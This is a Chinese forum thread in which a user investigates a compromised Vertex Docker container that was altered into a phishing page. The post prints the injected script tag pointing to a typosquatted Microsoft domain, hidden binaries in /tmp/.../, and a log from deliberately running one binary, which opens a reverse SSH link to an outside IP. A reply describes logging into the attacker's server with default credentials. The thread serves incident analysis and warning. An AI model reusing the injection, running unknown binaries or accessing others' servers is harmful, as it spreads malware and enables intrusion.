起因
今天想起吃灰了许久的一台服务器上部署了vetex和qbit,但是已经将近一年未管过了,直接访问vertex主页后发现不对劲:

是的,这是一个虚假的网络错误页面,通过f12可以发现,安装修复组件导向了一个host为”microcsoft.online“的文件直链(该host中,Microsoft中间的soft前面多了一个c)

通过上传到 virustotal 扫描后,报告如下:

很明显,我的服务器上的vertex网页已经被改成了一个钓鱼网站,通过虚假的网络错误页面诱导下载一个软件病毒。
尝试溯源
在我的服务器上,vertex是通过docker的方式部署的,首先通过简单的检查宿主机,并没有异常的ssh登陆记录,检查crontab配置没有异常,通过探针没有发现可疑流量以及高CPU占用。
而在vertex docker 容器中,通过find查找一个月内修改的文件:
bash-5.1# find / -type f -mtime -30 -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*" -not -path "/run/*" -not -path "/var/lib/*" -not -path "/var/run/*" -not -path "/var/log/*"
/tmp/.../scsi_esrr_2
/tmp/.../scsi_esrr_1
/app/vertex/app/static/index.html
/vertex/db/sql.db
网页主页/app/vertex/app/static/index.html 在10月10日被修改,10月18日被访问,这意味着昨天他可能还能进入我的docker容器内。

index.html 被额外插入了一段js:<script src="https://microcsoft.online/res.js">,他会创建一个页面覆盖在原有网页之上,也就是虚假的网络报错。而且十分阴险的通过js删除这段script引用,重新通过主机为”0055fa.com:21007“的域名导入新的几个js文件。这导致f12无法发现<script src="https://microcsoft.online/res.js">这行。
更tm逆天的是,<script src="https://microcsoft.online/res.js">文件里全是中文注释,这意味着插入这段代码的人应该是中国人。。

而路径/tmp/.../scsi_esrr_*这两个文件,命名代表可能是什么接口驱动,但是我的docker容器并不需要什么接口驱动,并且他的上级目录命名为...,明显为了隐藏自己。因为直接通过ls不会显示此目录,而通过ls -a检查目录的时候,会有./ ../两个目录,分别代表这层和上层目录,如果不留意可能会被骗过去:
bash-5.1# ls /tmp/.
./ ../ .../ .X11-unix/ .X99-lock
# .../为恶意文件目录
通过检查修改和访问时间,该文件在10月19日还被访问过,不知道是否为被调用时记录:
bash-5.1# ls /tmp/.../ -l
total 8820
-rwxrwxrwx 1 root root 4741448 Oct 10 12:15 scsi_esrr_1
-rwxrwxrwx 1 root root 4288288 Oct 10 13:28 scsi_esrr_2
bash-5.1# stat /tmp/.../scsi_esrr_1
File: /tmp/.../scsi_esrr_1
Size: 4741448 Blocks: 9264 IO Block: 4096 regular file
Device: 2ah/42d Inode: 5898247 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2024-10-19 06:18:52.008000000 +0800
Modify: 2024-10-10 12:15:58.128000000 +0800
Change: 2024-10-10 13:09:12.756000000 +0800
冒险执行一下:
bash-5.1# ./scsi_esrr_1
bash: ./scsi_esrr_1: cannot execute binary file: Exec format error
bash-5.1# ./scsi_esrr_2
2024/10/19 07:04:26 Forking
bash-5.1# 2024/10/19 07:04:26 Connecting to 8.218.239.22:3232
2024/10/19 07:04:27 Successfully connnected 8.218.239.22:3232
2024/10/19 07:04:28 [client] INFO ??:1 Tluzv5cWR() : Handling channel: jump
2024/10/19 07:04:28 [8.218.239.22:3232] INFO ??:1 () : New SSH connection, version SSH-2.0-paramiko_3.0.0
2024/10/19 07:04:28 [8.218.239.22:3232] INFO ??:1 Tluzv5cWR() : Handling channel: session
2024/10/19 07:04:29 [8.218.239.22:3232] INFO ??:1 Tluzv5cWR() : Handling channel: session
2024/10/19 07:04:29 [8.218.239.22:3232] INFO ??:1 HDPyXeVkXFG5() : Session got request: "exec"
2024/10/19 07:04:29 [8.218.239.22:3232] INFO ??:3 HDPyXeVkXFG5() : Session disconnected
2024/10/19 07:04:29 [8.218.239.22:3232] INFO ??:6 HDPyXeVkXFG5() : Session disconnected
2024/10/19 07:04:29 [client] ERROR ??:1 () : Channel call back error: connection terminated
ip为阿里云hk。paramiko 是一个用于实现 SSH 协议的 Python 库,这段日志说明,服务器8.218.239.22通过SSH连接到了我的服务器(Successfully connnected),执行了一个”exec“命令后退出。
到目前为止,恶意文件执行的方式基本已经搞清楚了,但我还是不知道,它是如何进入到我的docker容器内部的?是vertex本身有漏洞?由于docker镜像本身并不是完整的linux系统,日志记录的不是很全,目前为止一切都不清楚。服务器本身的ssh密码,和vertex的用户名密码都为强密码,通过bitwarden直接生成,几乎不存在密码爆破的可能性。
为了防止特殊情况,记录一下vertex版本信息:
主版本号: 0.0.14.0
编译版本:03fb4fe042c3
发布时间2023-09-24 21:14:13
更新信息feat: MT 域名修改为 ...
以及我的docker-compose信息:
version: "3"
services:
vertex:
image: lswl/vertex:stable
container_name: vertex
ports:
- "3001:3000"
volumes:
- /root/vertex/vertex:/vertex
environment:
TZ: Asia/Shanghai
restart: unless-stopped
希望大家勤更新软件版本,遇到错误、可以界面留个心眼。关于如何入侵到我的容器内部的,希望得到各位大佬的指点
问题已经查明,经过咨询作者,vertex在2024.7.17之前的版本有重大安全漏洞,能被拿到容器内的配置文件,以及下载&执行二进制脚本,建议所有使用vertex的人更新至最新版,避免遭受钓鱼攻击等
如果使用过旧版本,并且直接暴露在公网v4环境,则极有可能被扫,请及时进行passkey重置等补救措施
@rong6 #1 @Venus #5 @icodex #16
docker容器被黑?长见识了
@rong6 #1 长这么大第一次见,宿主机没有发现入侵痕迹(目前),vertex本身没有发现有什么毛病,甚至敏感数据目前都没有什么问题,不知道他是对我的敏感数据不感兴趣还是根本就没进去。
然后他就在没有影响宿主机本身,和没有vertex登录权限的情况下,进入到了我的容器内把网页文件改了?
怎么感觉像是广撒网钓鱼,所以懒得管你的数据
@Venus #3 有道理,以防万一还是重置了。我刚开始挺怀疑他到底有没有进我的vertex,用户名密码都是bitwarden随机生成的,不应该存在弱密码爆破
@baiiylu #4 等一个大佬的回复,第一次见到这个情况,也想弄个明白。
@baiiylu #4 刚刚发现0055fa.com:21007可以直接登录进去诶,账号密码都是默认的。是个cms系统,还可以登进ssh。。。
@rong6 #6 这是够逆天的。。。
这个网站为
https://microcsoft.online/res.js里带的,会有两三个js文件,经过混淆加密看不出来什么@baiiylu #7 那不知道往里插了什么,反正我大致看了一下几乎什么都没有配置,像闲置在这的一样
服务器配置还挺高,8-16 311g
@rong6 #8 有可能是肉鸡,不太好说
bd